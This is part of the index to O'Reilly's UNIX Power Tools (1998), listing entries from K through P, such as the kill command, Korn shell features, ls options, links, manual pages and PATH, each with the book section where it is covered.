Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: K

Kamens, Jonathan I. : 13.8. Using {list} to Group Bourne Shell Commands
kernel
1.2. Who Listens to What You Type?
1.14. The Kernel and Daemons
passing arguments to : 45.5. A File That Shows Itself... and What #! Does
running scripts from
45.2. The Story of : # #!
45.3. Don't Need a Shell for Your Script? Don't Use One
45.5. A File That Shows Itself... and What #! Does
starting processes : 45.20. Overview: Open Files and File Descriptors
time spent executing code : 39.5. Why Is the System So Slow?
key definitions : 25.4. The "less" Pager: More than "more"
keyboard response : 39.5. Why Is the System So Slow?
keyboard shortcuts
abbreviations in Emacs : 32.11. Using Word Abbreviation Mode
Emacs command completion : 32.6. Command Completion
vi abbreviations : 30.31. vi Word Abbreviation
vi map commands
31.2. Save Time and Typing with the vi map Commands
31.6. Protecting Keys from Interpretation by ex
keymapping : 31.1. Why Type More Than You Have To?
keymaps (se vi editor, map commands) : 31.6. Protecting Keys from Interpretation by ex
kill -STOP $$ : 38.4. Subshells
kill command
12.2. Other Ways to Refer to Jobs
38.8. What Are Signals?
aborting programs : 42.2.5. Aborting Programs
in C shell : 47.2.2.3. Stupid Parsing Bugs
destroying processes : 38.10. Destroying Processes with kill
examples : 47.2.2.3. Stupid Parsing Bugs
interrupting processes : 45.8. Handling Signals to Child Processes
process ID-1 and : 38.12. Killing All Your Processes
prompt settings and : 7.12. External Commands Send Signals to Set Variables
restarting daemons : 38.11. Printer Queue Watcher: A Restartable Daemon Shell Script
kill key : 5.9. Setting Your Erase, Kill, and Interrupt Characters
KILL signal
38.8. What Are Signals?
38.10. Destroying Processes with kill
killing
foreground jobs : 38.9. Killing Foreground Jobs
processes : 38.3. Managing Processes: Overall Concepts
ksh (Korn shell) : 1.8. There Are Many Shells
{ } filename wildcards, adding : 15.3. Adding { } Operators to Korn (and Bourne) Shells
alias facility : 10.2. Aliases for Common Commands
aliases in : 10.4. Aliases in ksh and bash
array support : 45.34. Arrays in the Bourne Shell
C shell compared to : 47.1. Why Not?
command history : (see history of command)
command-line arguments in scripts : 44.15. Handling Command-Line Arguments in Shell Scripts
emacs mode line editing commands : 11.13. Shell Command-Line Editing
ENV variable : 6.3. Predefined Environment Variables
environment variables : 6.3. Predefined Environment Variables
fc command : 11.14.2. In ksh and bash: fc
history file : 11.11.1. bash and ksh
ignoreeof variable : 3.5. Stop Accidental C Shell Logouts
logging out of : 3.2. Running Commands at Bourne/Korn Shell Logout
passing command history to : 11.12. Pass History to Another Shell
.profile file : 2.2.3. Korn Shell
prompt setting : 7.4. Faster Prompt Setting with Built-Ins
reading arguments : 8.13. Is It "2>&1 file" or "> file 2>&1"? Why?
speeding up : 2.11. Faster ksh and bash Startup with $- Test
string editing in : 9.7. String Editing in ksh and bash
string editing operators : 45.12. Parameter Substitution
working directory : 14.6. The Shells' pushd and popd Commands

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: L

la function : 10.9. Shell Functions
last access time : 21.5. What Good Is a File's Last Access Time?
deleting by : 23.20. Deleting Stale Files
last modification : (see modification time, file)
lastcomm command : 39.6. lastcomm: What Commands Are Running and How Long Do They Take?
addup script using : 49.7. Total a Column with addup
leave program : 48.5. leave: A Maddening Aid to Quitting on Time
left angle bracket : (see <)
left bracket : (see [ ] (brackets))
length command (awk) : 33.11.7. Alphabetical Summary of Commands
lensort script
36.8. lensort: Sort Lines by Length
52.4. Quick Descriptions of What's on the Disc
less command : 52.4. Quick Descriptions of What's on the Disc
less utility : 25.3. Using more to Page Through Files
-s option : 16.22. Comparing Two Directory Trees with dircmp
lesskey program : 25.4. The "less" Pager: More than "more"
lf script
16.7. ls Shortcuts: ll, lf, lg, etc.
52.4. Quick Descriptions of What's on the Disc
lg script : 52.4. Quick Descriptions of What's on the Disc
libraries
functions defined in : 52.8.2.7. Functions, Libraries, and Header Files
linking with : 52.8.2.7. Functions, Libraries, and Header Files
in /usr/lib : 52.8.2.7. Functions, Libraries, and Header Files
limit filesize command : 24.5. Limiting File Sizes
line #: ;; unexpected : 46.1.4. Missing or Extra esac, ;;, fi, etc.
line drawings : 43.12.1. troff
line editing : (see batch editing)
line function : 44.13. read: Reading from the Keyboard
line numbers : 25.21. Numbering Lines
resetting : 46.1.5. Line Numbers Reset Inside Redirected Loops
line spacing : 25.12. Double Space, Triple Space ...
line-kill character : 9.2. Fix a Line Faster with Line-Kill and Word-Erase
line-wrapping : 42.5. Checklist: Screen Size Messed Up?
lines in files
counting : 29.6. Counting Lines, Words, and Characters: wc
searching for : 45.11. The Multipurpose jot Command
linespeed switches : 5.3. Setting the Terminal Type When You Log In
links : 18.4. More About Links
between directories : 18.7. Linking Directories
copying : 18.15. Copying Directory Trees with cp -r
creating/removing : 18.5. Creating and Removing Links
to directories : 18.4.2. Links to a Directory
disk space and : 24.4. Save Space with a Link
errors caused by : 50.12. Common UNIX Error Messages
to filenames
18.4.1. Differences Between Hard and Symbolic Links
44.22. Finding a Program Name; Multiple Program Names
45.13. Save Disk Space and Programming: Multiple Names for a Program
finding : 17.22. Finding the Links to a File
hard : (see hard links)
invalid : 18.6. Stale Symbolic Links
to programs
44.22. Finding a Program Name; Multiple Program Names
45.13. Save Disk Space and Programming: Multiple Names for a Program
relinking : 18.14. Relinking Multiple Symbolic Links
symbolic : (see symbolic links)
list.base program : 48.10. Working with Names and Addresses
literal percent sign, creating : 40.14. Including Standard Input Within a cron Entry
Litmaath, Maarten : 13.16. Store and Show Errors with logerrs
ll script : 52.4. Quick Descriptions of What's on the Disc
lm script : 52.4. Quick Descriptions of What's on the Disc
ln command
18.5. Creating and Removing Links
52.4. Quick Descriptions of What's on the Disc
-s option
18.5. Creating and Removing Links
18.7. Linking Directories
lndir program : 52.4. Quick Descriptions of What's on the Disc
lndir script : 18.7. Linking Directories
load averages
39.7. Checking System Load: uptime
39.12.1. The CPU
local dictionary files : 29.1. The UNIX spell Command
locate program : 52.4. Quick Descriptions of What's on the Disc
locate script : 17.18. Using "Fast find"
lockfiles
45.36. Shell Lockfile
(see also file permissions)
creating : 45.36. Shell Lockfile
examples : 45.36. Shell Lockfile
log command (awk) : 33.11.7. Alphabetical Summary of Commands
LOGDIR environment variable
6.3. Predefined Environment Variables
14.11. Finding (Anyone's) Home Directory, Quickly
logerrs script
13.16. Store and Show Errors with logerrs
52.4. Quick Descriptions of What's on the Disc
logging in
2.1. Customizing the Shell
38.2. fork and exec
to another user's account : 22.22. The su Command Isn't Just for the Superuser
changing login sequence : 2.12. Automatic Setups for Different Terminals
multiple sessions : 22.22.1. Ending or Suspending
showing login messages once : 2.15. Unclutter Logins: Show Login Messages Just Once
showing new message lines : 2.14. motd.diff: Show New Lines in Login Messages
logging, disk space and : 24.2. Save Space with Bit Bucket Log Files and Mailboxes
logical operators : (see operators, logical)
.login file
2.2.2. C Shell
2.7. C Shell Setup Files Aren't Read When You Want Them to Be?
2.8. Identifying Login Shells
2.12. Automatic Setups for Different Terminals
if statements in : 47.3. Conditional Statements with if
once-a-day setup : 2.5.3. Once-a-Day Setup
setting search path : 8.7.1. Setting Path in Shell Setup Files
setting terminal type : 5.3. Setting the Terminal Type When You Log In
login shells
2.2. Shell Setup Files-Which, Where, and Why
2.2.2. C Shell
2.8. Identifying Login Shells
51.9. Making a "Login" Shell
identifying : 2.8. Identifying Login Shells
unapproved : 2.16. Approved Shells: Using Unapproved Login Shell
loginshell variable : 2.8. Identifying Login Shells
LOGNAME environment variable
6.3. Predefined Environment Variables
6.9. Special C Shell Variables
.logout file
2.2.2. C Shell
3.1. Running Commands When You Log Out
long-line wrapping : 42.6.3. Set Width, Test Line Wrapping: longlines
longlines file
42.6.3. Set Width, Test Line Wrapping: longlines
52.4. Quick Descriptions of What's on the Disc
look command
27.18. Fast Searches and Spelling Checks with "look"
29.3. How Do I Spell That Word?
52.4. Quick Descriptions of What's on the Disc
lookfor script
17.21. lookfor: Which File Has that Word?
52.4. Quick Descriptions of What's on the Disc
loops
1.5. Anyone Can Program the Shell
44.10. Loops That Test Exit Status
(see also under specific loop names)
alias definition : 10.6. Avoiding C Shell Alias Loops
basename command used in : 45.18.2. Use with Loops
in Bourne shells : 44.10. Loops That Test Exit Status
dirname command used in : 45.18.2. Use with Loops
exit status of : 45.19. A while Loop with Several Loop Control Commands
find command used in : 45.18.2. Use with Loops
for : (see for loop)
foreach : (see foreach loop)
if-then-else : 10.7. How to Put if-then-else in a C Shell Alias
increment number in : 45.11. The Multipurpose jot Command
jot command in : 45.11. The Multipurpose jot Command
parameters for : 9.11. Repeating a Command with a foreach Loop
split command used in : 45.18.2. Use with Loops
testing exit status : 44.10. Loops That Test Exit Status
lp command : 43.2.1. System V Printing Commands
lp spooler, defined : 43.1. Introduction to Printing
lpc help command : 43.3. Printer Control with lpc
lpc restart command : 43.3. Printer Control with lpc
lpc status command : 43.2.2. Berkeley Printing Commands
lpq command : 43.2.2. Berkeley Printing Commands
shell script running : 38.11. Printer Queue Watcher: A Restartable Daemon Shell Script
lpr command : 43.2.2. Berkeley Printing Commands
errors caused by : 50.12. Common UNIX Error Messages
examples : 44.16. Handling Command-Line Arguments with a for Loop
lpr spooler, defined : 43.1. Introduction to Printing
lprm command : 43.2.2. Berkeley Printing Commands
lpstat command : 43.2.1. System V Printing Commands
lr command : 52.4. Quick Descriptions of What's on the Disc
ls command
2.15. Unclutter Logins: Show Login Messages Just Once
16.3. Reordering ls Listings
16.6. clf, cls: "Compressed" ls Listings
16.9. An Alias to List Recently Changed Files
52.4. Quick Descriptions of What's on the Disc
-A option : 16.11. Showing Hidden Files with ls -A and -a
-a option : 16.11. Showing Hidden Files with ls -A and -a
aliases for
16.7. ls Shortcuts: ll, lf, lg, etc.
16.12. Useful ls Aliases
-b option : 16.14. Showing Non-Printable Characters in Filenames
-c option : 16.2. Finding Oldest or Newest Files with ls -t and ls -u
-C option
16.3. Reordering ls Listings
16.12. Useful ls Aliases
-ctime option : 21.6. A File's Inode Change (not "Creation"!) Time
-d option : 16.8. The ls -d Option
-F option
16.6. clf, cls: "Compressed" ls Listings
16.12. Useful ls Aliases
18.6. Stale Symbolic Links
file searches with : 9.24. Get File List by Editing Output of ls -l, grep, etc.
filenames and : 1.16. Wildcards
-i option
1.22. How UNIX Keeps Track of Files: Inodes
18.4.1. Differences Between Hard and Symbolic Links
-l option
1.22. How UNIX Keeps Track of Files: Inodes
16.25. Listing Files by Age and Size
16.29. sls: Super ls with Format You Can Choose
22.15. Juggling Permissions
-L option : 18.6. Stale Symbolic Links
-ld option : 21.8.1.3. Watching Directories
links and : 18.4.1. Differences Between Hard and Symbolic Links
-m option : 16.7. ls Shortcuts: ll, lf, lg, etc.
-q option : 16.13. Can't Access a File? Look for Spaces in the Name
-r option : 16.3. Reordering ls Listings
-R option : 16.4. List All Subdirectories with ls -R
-s option : 17.14. Searching for Files by Size
-t option : 16.2. Finding Oldest or Newest Files with ls -t and ls -u
terminfo database and : 5.10. Finding What Terminal Names You Can Use
-u option
16.2. Finding Oldest or Newest Files with ls -t and ls -u
16.3. Reordering ls Listings
-x option : 16.3. Reordering ls Listings
ls_today script
16.18. Listing Files You've Created/Edited Today
52.4. Quick Descriptions of What's on the Disc
lsdel program : 52.4. Quick Descriptions of What's on the Disc

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: M

Macintosh text files : 35.11. Hacking on Characters with tr
magic number
45.4. Fun with #!
50.12. Common UNIX Error Messages
magnetic tapes, naming : 20.3.2. What Is the Name of the Tape Drive?
mail program : 1.33. UNIX Networking and Communications
sending yourself reminders : 40.11. Send Yourself Reminder Mail
mail shell variable : 6.9. Special C Shell Variables
as array : 47.5. Using C Shell Arrays
mail.base program : 48.10. Working with Names and Addresses
mailboxes, disk space and : 24.2. Save Space with Bit Bucket Log Files and Mailboxes
MAILCHECK environment variable : 21.8.2. For Bourne Shell Users
MAILPATH environment variable : 21.8.2. For Bourne Shell Users
mainindex on PowerTools disk : 50.3. apropos on Systems Without apropos
make program
21.9. Keep File Printouts Up-to-Date Automatically with make
28.13. make Isn't Just for Programmers!
52.8.2.8. The make Program
errors caused by : 50.12. Common UNIX Error Messages
printall option : 21.9. Keep File Printouts Up-to-Date Automatically with make
"make: must be a separator on rules line 46" error message : 50.12. Common UNIX Error Messages
make_print makefile:(on disc) : 52.4. Quick Descriptions of What's on the Disc
makefile utility
21.9. Keep File Printouts Up-to-Date Automatically with make
52.8.2.6. An Easy Build
tracking program dependencies : 52.8.2.8. The make Program
makefiles : 28.13. make Isn't Just for Programmers!
man command : 50.1. UNIX Online Documentation
examples : 50.1. UNIX Online Documentation
-k option : 50.2. The apropos Command
-man macros : 50.11. Writing a Simple Man Page with the -man Macros
-man macros (troff) : 50.10. Make Your Own Man Pages Without Learning troff
manindex script : 52.4. Quick Descriptions of What's on the Disc
MANPATH environment variable : 6.3. Predefined Environment Variables
adding : 50.10. Make Your Own Man Pages Without Learning troff
manual pages
building index for : 50.3. apropos on Systems Without apropos
categories : 50.1. UNIX Online Documentation
deleting : 23.19. Deleting (BSD) Manual Pages that Aren't Read
formatting : 50.10. Make Your Own Man Pages Without Learning troff
MANPATH variable : 6.3. Predefined Environment Variables
searching
50.2. The apropos Command
50.3. apropos on Systems Without apropos
50.6. Searching Online Manual Pages
types of : 50.6. Searching Online Manual Pages
writing
50.10. Make Your Own Man Pages Without Learning troff
50.11. Writing a Simple Man Page with the -man Macros
master password file : 1.23. File Access Permissions
master wordlist, ispell program : 29.5. Adding Words to ispell's Dictionary
match command (awk) : 33.11.7. Alphabetical Summary of Commands
memory : (see disk space)
menu prompts : 7.7. A "Menu Prompt" for Naive Users
metacharacters
8.19. "Special" Characters and Operators
(see regular expressions)
(see wildcard characters)
Microsoft Excel, sc program compared to : 49.8. It's Great to Have a Spreadsheet
mins field in crontab entries : 40.12.1. Execution Scheduling
minus sign : (see - (hyphen))
MIT (Massachusetts Institute of Technology) : 1.31. The X Window System
mkdir command
4.8. Making Directories Made Easier
52.4. Quick Descriptions of What's on the Disc
. and .. directory links : 18.4.2. Links to a Directory
mkfifo command : 52.4. Quick Descriptions of What's on the Disc
mkfile, working around lack of swap space : 50.12. Common UNIX Error Messages
mknod command : 52.4. Quick Descriptions of What's on the Disc
.mm filename extension : 1.17. Filename Extensions
mode bits
1.23. File Access Permissions
1.25. Access to Directories
modelines : 30.19. Modelines: Bug or Feature?
modes, access : 4.8. Making Directories Made Easier
modification time, file
16.2. Finding Oldest or Newest Files with ls -t and ls -u
16.5. The Three UNIX File Times
16.9. An Alias to List Recently Changed Files
16.18. Listing Files You've Created/Edited Today
16.25. Listing Files by Age and Size
16.27. newer: Print the Name of the Newest File
17.5. Searching for Old Files
touch command and : 21.7. Setting File Modification Time with touch
modifiers : 26.4. Using Metacharacters in Regular Expressions
month in crontab entries : 40.12.1. Execution Scheduling
more utility
9.19. For the Impatient: Type-Ahead
25.3. Using more to Page Through Files
starting : 38.3. Managing Processes: Overall Concepts
testing with screensize file : 42.6.2. Screen Width and Height: screensize
motd.diff script
2.14. motd.diff: Show New Lines in Login Messages
52.4. Quick Descriptions of What's on the Disc
mount command
17.22. Finding the Links to a File
52.5.2. Mounting the CD-ROM
move command (ex) : 33.4. Useful ex Commands
moving files
18.2. What's Really in a Directory
21.11. Safer Removing, Moving, and Copying
(see also copying files; renaming files)
.ms filename extension : 1.17. Filename Extensions
multiline
commands : 9.13. Multiline Commands, Secondary Prompts
quoting : 8.14.4. Multiline Quoting
shell prompts : 7.5. Multiline Shell Prompts
multiple
files, copying or comparing : 18.9. Renaming, Copying, or Comparing a Set of Files
mailboxes : 21.8.1.1. Multiple Mailboxes
names for one file : 18.3. Files with Two or More Names
redirection destinations
13.9. Send Output Two or More Places with tee
13.11. tpipe-Redirecting stdout to More than One Place
sessions : 22.22.1. Ending or Suspending
shell sessions : 12.9. Running Multiple Shell Sessions with screen
symbolic links, relinking : 18.14. Relinking Multiple Symbolic Links
terminals, writing to : 13.12. Writing to Multiple Terminals for Demonstrations
variables, creating for loops with : 45.17. Making a for Loop with Multiple Variables
multitasking : 12.1. Job Control: Work Faster, Stop Runaway Jobs
munchlist script : 29.5. Adding Words to ispell's Dictionary
mv command
18.2. What's Really in a Directory
18.9. Renaming, Copying, or Comparing a Set of Files
52.4. Quick Descriptions of What's on the Disc
-b option : 21.11. Safer Removing, Moving, and Copying
-i option : 21.11. Safer Removing, Moving, and Copying

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: N

N>&- operator : 47.2.1.3. Closing FDs
n>&m : 45.21. n>&m: Swap Standard Output and Standard Error
examples
44.5. Test String Values with Bourne Shell case
45.31. Nested Command Substitution
45.32. A Better read Command: grabchars
N>&M operator
examples : 47.2.1.4. More Elaborate Combinations
n>&m operator
examples
44.9. Testing Your Success
44.11. Set Exit Status of a Shell (Script)
44.12. Trapping Exits Caused by Interrupts
46.9. If Command Doesn't Return a Status, Test the Error Messages
name lines in termcap or terminfo files : 41.11. How termcap and terminfo Describe Terminals
namesort script : 52.4. Quick Descriptions of What's on the Disc
naming
commands : 44.21. Picking a Name for a New Command
directories : 16.21. Finding All Directories with the Same Name
environment variables : 6.1. What Environment Variables Are Good For
files
4.6. Naming Files
(see filenames)
magnetic tapes : 20.3.2. What Is the Name of the Tape Drive?
multiple names for one file : 18.3. Files with Two or More Names
self-renaming scripts : 45.4. Fun with #!
shell scripts : 44.21. Picking a Name for a New Command
terminals : 5.10. Finding What Terminal Names You Can Use
nawk utility
33.11. Quick Reference: awk
50.12. Common UNIX Error Messages
(see also awk utility; gawk utility)
databases created using : 48.10. Working with Names and Addresses
version history : 33.12. Versions of awk
nawk utilityxs
examples : 45.25. Shell Scripts On-the-Fly from Standard Input
neatening text
35.2. Neatening Text with fmt
35.3. Alternatives to fmt
netpbm : 52.4. Quick Descriptions of What's on the Disc
netstat command : 39.12.3. The I/O Subsystem
Network Filesystem : (see NFS)
Network I/O problems : 39.12.3. The I/O Subsystem
network time : 39.5. Why Is the System So Slow?
networking utilities : 1.33. UNIX Networking and Communications
networks
archiving : 19.1. Packing Up and Moving
find command and : 17.25. Keeping find From Searching Networked Filesystems
stream-oriented protocols : 20.6. Writing a Tape Drive on a Remote Machine
newgrp command : 22.13. Groups and Group Ownership
newline character
allowing delays after : 41.2.1. How We Made It This Far (Back?)
newline characters
1.29. When Is a File Not a File?
4.9. Setting Up vi with the .exrc File
25.10. Squash Extra Blank Lines
25.13. pushin: Squeeze Out Extra White Space
(see also whitespace)
in output : 8.6.1. Portability
problems with xargs : 9.22. xargs: Problems with Spaces and Newlines
newline glitch : 41.11. How termcap and terminfo Describe Terminals
next command (awk) : 33.11.7. Alphabetical Summary of Commands
nextday script
40.10. nextday, nextweekday: Tomorrow or Next Weekday
52.4. Quick Descriptions of What's on the Disc
nextweekday script
40.10. nextday, nextweekday: Tomorrow or Next Weekday
52.4. Quick Descriptions of What's on the Disc
adding calendar information to : 48.4.3. Automating Your Own Calendar
NFS (Network Filesystem)
1.33. UNIX Networking and Communications
52.5.3.1. Directory Structure
NFS (Network Filesystem)
mounting : 5.6. Checklist: Terminal Hangs When I Log In
nfsstat command : 39.12.3. The I/O Subsystem
nice command
39.9. Know When to Be "nice" to OTher Users...and When
52.4. Quick Descriptions of What's on the Disc
background processes and : 1.28. Some Gotchas with Background Processing
nice number : 39.9. Know When to Be "nice" to OTher Users...and When
niceness : 39.9. Know When to Be "nice" to OTher Users...and When
nine-track tapes : 20.6. Writing a Tape Drive on a Remote Machine
nl program : 25.21. Numbering Lines
"no login associated with uid #" error message : 50.12. Common UNIX Error Messages
"No match" error : 15.4. What if a Wildcard Doesn't Match?
no matches
error (ed, ex) : 33.7. ed/ex Batch Edits: Avoid Errors When No Match
no_run script : 52.4. Quick Descriptions of What's on the Disc
noclobber shell variable
6.8. Shell Variables
6.9. Special C Shell Variables
13.6. Safe I/O Redirection with noclobber
23.7. Safer File Deletion in Some Directories
NOG script : 52.4. Quick Descriptions of What's on the Disc
noglob shell variable : 6.9. Special C Shell Variables
nohup command
38.18. nohup
52.4. Quick Descriptions of What's on the Disc
background processes and : 1.28. Some Gotchas with Background Processing
nohup.out file : 38.18. nohup
nolinks shell variable : 14.13. Which Directory Am I in, Really?
nom script
15.9. nom: List Files that Don't Match a Wildcard
52.4. Quick Descriptions of What's on the Disc
trap command in : 44.12. Trapping Exits Caused by Interrupts
non-canonical input mode : 41.7. Reading Verrrry Long Lines from the Terminal
non-printing control characters : (see control characters)
non-shareable files : 52.5.3.1. Directory Structure
nonexecutable scripts : 4.3. Organizing Nonexecutable Scripts
nonlogin shell : 2.2. Shell Setup Files-Which, Where, and Why
nonomatch shell variable : 6.9. Special C Shell Variables
nonprintable characters : (see special characters)
noremap command (vi) : 31.14. Don't Lose Important Functions with vi Maps: Use noremap
Normal script : 52.4. Quick Descriptions of What's on the Disc
not a tty. message : 38.6. The Controlling Terminal
"not a typewriter" error message : 50.12. Common UNIX Error Messages
"not enough memory" error message : 50.12. Common UNIX Error Messages
notepad
creating in terminal windows : 48.3. A Scratchpad on Your Screen
notify shell variable : 6.9. Special C Shell Variables
nroff program : 43.13. The Text Formatters nroff, troff, ditroff, ...
as alternative to awk : 48.12. Using index with a Filter
commands
in : 50.6. Searching Online Manual Pages
macros : 43.14. nroff/troff and Macro Packages
-man macros : 50.10. Make Your Own Man Pages Without Learning troff
null command : 44.8. Test Exit Status with the if Statement
null filenames : 23.13. Deleting Files with the Null Name
numbering lines : 25.21. Numbering Lines
numbers
49.1. bc: Simple Math at the Shell Prompt
(see also calculators)
working with : 49.1. bc: Simple Math at the Shell Prompt
numeric capabilities : 41.11. How termcap and terminfo Describe Terminals
numeric command returns : 44.7. Exit Status of UNIX Processes
numeric exit status : 38.3. Managing Processes: Overall Concepts
numeric tests, syntax errors in : 46.4. Stop Syntax Errors in Numeric Tests

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: O

.o filename extension : 1.17. Filename Extensions
obase command : 49.2. bc: Hexadecimal or Binary Conversion
object file extension : 1.17. Filename Extensions
ocrnl flag : 41.2.1. How We Made It This Far (Back?)
octal cgaracter strings : 7.8. Highlighting in Shell Prompts
octal numbers : 1.23. File Access Permissions
of ASCII characters : 51.3. ASCII Characters: Listing and Getting Values
interpreting : 45.35.1. With echo
for permissions : 17.15. Searching for Files by Permission
od command
-c option
18.2. What's Really in a Directory
23.15. Using unlink to Remove a File with a Strange Name
25.7. Show Non-Printing Characters with cat -v or od -c
looking at characters : 41.7. Reading Verrrry Long Lines from the Terminal
off-peak hours, taking advantage of : 40.1. Off-Peak Job Submission
offset script
35.7. offset: Indent Text
52.4. Quick Descriptions of What's on the Disc
oldlinks script
16.28. oldlinks: Find Unconnected Symbolic Links
52.4. Quick Descriptions of What's on the Disc
olid hardware : 20.6. Writing a Tape Drive on a Remote Machine
online archive, software : 52.7.2. Online Archive
online documentation : (see manual pages)
online manual source file extension : 1.17. Filename Extensions
open mode : (see ex editor, open mode)
operators
arithmetic
45.28. Quick Reference: expr
47.4.3.2. Arithmetic Operators
assignment : 47.4.3.1. Assignment Operators
awk utility : 33.11.4. Operators
bitwise : 47.4.3.3. Bitwise and Logical Operators
comparison : 47.4.3.4. Comparison Operators
file inquiry : 47.4.3.5. File Inquiry Operators
logical
45.28. Quick Reference: expr
47.4.3.3. Bitwise and Logical Operators
precedence in C shell : 47.4.2. Expressions
relational : 45.28. Quick Reference: expr
string editing : 45.12. Parameter Substitution
unmatched : 46.1.2. Unmatched Operators
opost flag : 41.2.1. How We Made It This Far (Back?)
opttest script : 52.4. Quick Descriptions of What's on the Disc
out of band approach for flow control : 41.2.4. Flow Control (We Hope)
output
from background processes : 12.7. Stop Background Output with stty tostop
buffering : 13.9. Send Output Two or More Places with tee
redirecting
1.30. Redirecting Input and Output
(see redirecting input/output)
stdout : (see standard output)
tee program : 13.9. Send Output Two or More Places with tee
output device, specifying : 50.12. Common UNIX Error Messages
output to terminals
stopping and restarting : 42.2.1. Output Stopped?
overwrite mode : 32.5. Putting Emacs in Overwrite Mode
overwriting files : 8.4. Command Evaluation and Accidentally Overwriting Files
owndership, file
group : (see groups)
ownership, file
22.2.1. User, Group, and World
22.3. Who Will Own a New File?
BSD UNIX and : 22.20. Why Can't You Change File Ownership Under BSD UNIX?
changing without chown command : 22.21. How to Change File Ownership Without chown
searching by : 17.16. Searching by Owner and Group

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: P

packed file extension : 1.17. Filename Extensions
page faults
number of : 39.3. The csh time variable
PAGER environment variable : 6.3. Predefined Environment Variables
pagers
advantages : 46.1.1. Use -xv
piping : 1.4. Using Pipes to Create a New Tool
piping debugging output to : 46.1.1. Use -xv
piping to : 13.4. Problems Piping to a Pager
pages
rearranging in PostScript files : 43.24. Other PostScript Utilities
resizing in PostScript files : 43.24. Other PostScript Utilities
paging : 39.12.2. The Memory Subsystem
paging through files
25.3. Using more to Page Through Files
25.5. Page Through Compressed, RCS, Unprintable Files
paircheck script
29.9. Looking for Closure
52.4. Quick Descriptions of What's on the Disc
paired item checking : 29.9. Looking for Closure
panic message : 1.14. The Kernel and Daemons
parameter substitution
: (colon) used in : 45.9. The Unappreciated Bourne Shell ":" Operator
: used in : 45.12. Parameter Substitution
in Bourne shells : 45.9. The Unappreciated Bourne Shell ":" Operator
examples : 45.12. Parameter Substitution
in Bourne shells : 45.12. Parameter Substitution
parameters, command-line : (see command-line parameters)
parent directory : 1.21. Making Pathnames
parent's PID : 38.5. The ps Command
parent-child relationships
environment variables and : 6.2. Parent-Child Relationships
parentheses : (see ())
commands printed in : 38.7. Why ps Prints Some Commands in Parentheses
parentheses ()
grouping expressions using : 47.5. Using C Shell Arrays
parity : 41.2.1. How We Made It This Far (Back?)
parsing
in C shell
47.2.2.3. Stupid Parsing Bugs
47.2.6. Expression Evaluation
character strings : 45.30. Grabbing Parts of a String
command-line arguments
44.18. Standard Command-Line Parsing
44.19. The Bourne Shell set Command
examples : 47.2.2.3. Stupid Parsing Bugs
output of getopt : 44.18. Standard Command-Line Parsing
sed command used for : 45.30.4. Using sed
set command used for : 45.30.3. Using set
parsing strings : 35.21. Using IFS to Split Strings
passwd command : 9.26.2. Automating /bin/passwd
passwd file : 1.23. File Access Permissions
passwords
root
1.23. File Access Permissions
1.24. The Superuser (Root)
paste command : 52.4. Quick Descriptions of What's on the Disc
paste pforgram : 35.18. Pasting Things in Columns
patch command : 52.4. Quick Descriptions of What's on the Disc
patch program
28.3. Context diffs
33.6. Change Many Files by Editing Just One
33.9. patch: Generalized Updating of Files that Differ
52.8.1.1. Missing Programs
(see also diff command)
patches
compiling the pcal package : 52.8.2.5. Applying Patches
PATH enviroment variable : 6.3. Predefined Environment Variables
PATH environment variable
4.10. Find All Command Versions with whereiz
6.4. The PATH Environment Variable
9.7. String Editing in ksh and bash
in C shell : 47.2.5. Variable Syntax
finding commands : 6.1. What Environment Variables Are Good For
identifying UNIX version : 50.8. Which Version Am I Using?
in shell setup files : 8.7.1. Setting Path in Shell Setup Files
PATH setting
example : 1.10. Internal and External Commands
path shell variable
6.5. PATH and path
6.9. Special C Shell Variables
as array : 47.5. Using C Shell Arrays
pathchk program : 52.4. Quick Descriptions of What's on the Disc
pathname
editing : 7.4. Faster Prompt Setting with Built-Ins
pathnames
absolute
2.6. Use Absolute Pathnames in Shell Setup Files
2.16. Approved Shells: Using Unapproved Login Shell
archiving with : 19.6. GNU tar Sampler
creating : 1.21. Making Pathnames
for current directory : 14.13. Which Directory Am I in, Really?
finding : 4.10. Find All Command Versions with whereiz
